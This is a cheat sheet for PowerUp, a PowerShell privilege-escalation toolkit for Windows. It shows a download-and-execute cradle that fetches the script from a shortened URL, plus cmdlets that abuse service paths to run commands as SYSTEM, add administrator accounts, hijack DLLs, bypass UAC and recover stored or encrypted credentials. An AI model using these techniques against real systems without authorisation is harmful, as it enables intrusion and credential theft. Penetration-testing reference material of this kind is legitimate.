

PowerUp Cheat Sheet



Getting Started

Note: PowerUp's 'bleeding edge' will always be in the [development branch of PowerSploit](http://bit.ly/1PdJSHk).

Get PowerUp: <http://bit.ly/1PdJSHk>

Load from disk: 1) C:\> powershell -exec bypass 2) PS C:\> Import-Module PowerUp.ps1

Load from GitHub: PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://bit.ly/1PdJSHK")

Load in Cobalt Strike's Beacon: beacon> powershell-import /local/path/to/PowerUp.ps1 , then beacon> powershell Invoke-AllChecks

Getting help: PS C:\> Get-Help Cmdlet-Name [-detailed] [-full]

Most PowerUp functions are implemented in Empire in `privesc/powerup/*`

Invoke-PrivescAudit (old Invoke-AllChecks) will run all current privilege escalation checks detailed in this guide and will output the appropriate abuse function syntax for anything found. The `-HTMLReport` flag will write out a HTML version of the report to `SYSTEM.username.html`.

Enumerating Service Vulnerabilities

Get-ModifiableService	Enumerates all services where the current user can modify the service binPath.
Get-ModifiableServiceFile	Enumerates all services where the current user can write to the associated service binary or its arguments.
Get-ServiceUnquoted	Enumerates all services w/ unquoted binary paths.

Weaponizing Service Vulnerabilities

Invoke-ServiceAbuse abuses a vulnerable service's binPath to execute commands as SYSTEM.

Install-ServiceBinary installs a malicious C# binary for a specified service.

Both cmdlets accept the following parameters (as well as accepting a service names/service object from Get-Service on the pipeline):

Service name to abuse.	-Name SERVICE
The username to add (defaults to 'john'). Domain users are not created, only added to the LocalGroup.	-UserName '[DOMAIN]\USER'
The password for the added user (defaults to 'Password123!').	-Password 'P@55Word'
The group to add the user to (default: 'Administrators').	-LocalGroup "NAME"
Custom command to execute.	-Command "net..."

Install-ServiceBinary backs up the original service path to `\orig_path.exe.bak`. **Restore-ServiceBinary** will restore this backup binary to its original path.

Set-ServiceBinPath can set a service's binPath without calling sc.exe.

DLL Hijacking

Find-PathDLLHijack checks if the current %PATH% has any directories that are writeable by the current user. Weaponizable for Windows 7 with **Write-HijackDll** and 'FOLDER\PATH\wlbsctrl.dll'.

Write-HijackDll writes out a self-deleting .bat file to `\hijackpath\debug.bat` that executes a command, and writes out a hijackable DLL that launches the .bat. It accepts the same `-UserName/-Password/-Command` arguments as **Invoke-ServiceAbuse** as well as:

Path to write the hijack DLL	-DllPath PATH\wlbsctrl.dll
Manual arch specification.	-Architecture [x64/x86]
Path of the .bat for the hijackable .dll to run.	-BatPath PATH\y.bat

Registry Checks

Get-RegistryAlwaysInstall Elevated	Checks if the "AlwaysInstallElevated" key is set. This means that MSI installation packages always run as SYSTEM.
Get-RegistryAutoLogon	Returns any autologon credentials from various registry locations.
Get-ModifiableRegistryAutorun	Returns autoruns where the current user can modify the binary/script (or its config).

Miscellaneous Checks

Get-UnattendedInstallFile	Checks for leftover unattend.xml files.
Get-Webconfig	Recovers cleartext and encrypted connection strings from all web.configs. Credit to Scott Sutherland .
Get-ProcessTokenPrivilege	Returns all privileges for the current (or specified) process.
Get-SiteListPassword	Searches for any McAfee SiteList.xml files and decrypts the contents.

Helpers

Enable-Privilege	Enables a specific privilege for the current process. Available privileges can be found with Get-ProcessTokenPrivilege.
Get-CurrentUserTokenGroupSid	Returns all SIDs that the current user is a part of even if the SID is disabled.
Invoke-EventVwrBypass	Bypasses UAC by performing an image hijack on the .msc file extension.

More Information

<http://www.harmj0y.net/blog/>